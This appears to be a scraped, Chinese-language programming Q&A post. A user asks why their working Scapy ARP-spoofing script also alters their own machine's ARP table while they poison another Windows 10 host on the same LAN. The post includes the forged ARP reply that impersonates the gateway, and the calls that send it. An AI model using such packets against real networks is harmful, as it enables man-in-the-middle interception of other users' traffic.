Python 使用scapy进行ARP欺骗会更改我自己的ARP表

Python 使用scapy进行ARP欺骗会更改我自己的ARP表,python,python-3.x,security,scapy,arp,Python,Python 3.x,Security,Scapy,Arp,我用Python编写了一个ARP欺骗程序,使用Scapy,效果很好。唯一的问题是,发送恶意ARP数据包也会改变我自己的ARP表,这使我的主机认为它是默认网关。这是我正在发送的数据包以及发送方式: i_am_gateway = Ether(src=self_mac, dst=target_mac) /\ ARP(op=2, hwsrc=self_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target) soc = con

我用Python编写了一个ARP欺骗程序,使用Scapy,效果很好。唯一的问题是,发送恶意ARP数据包也会改变我自己的ARP表,这使我的主机认为它是默认网关。这是我正在发送的数据包以及发送方式:

i_am_gateway = Ether(src=self_mac, dst=target_mac) /\
               ARP(op=2, hwsrc=self_mac, psrc=gateway_ip, hwdst=target_mac, pdst=target)
soc = conf.L2socket()
soc.send(i_am_gateway)
# Also doesn't work
sendp(i_am_gateway)
在指定接口时,这也没有什么区别

*我在Windows 10上运行这个,在同一局域网上毒害不同的Windows 10主机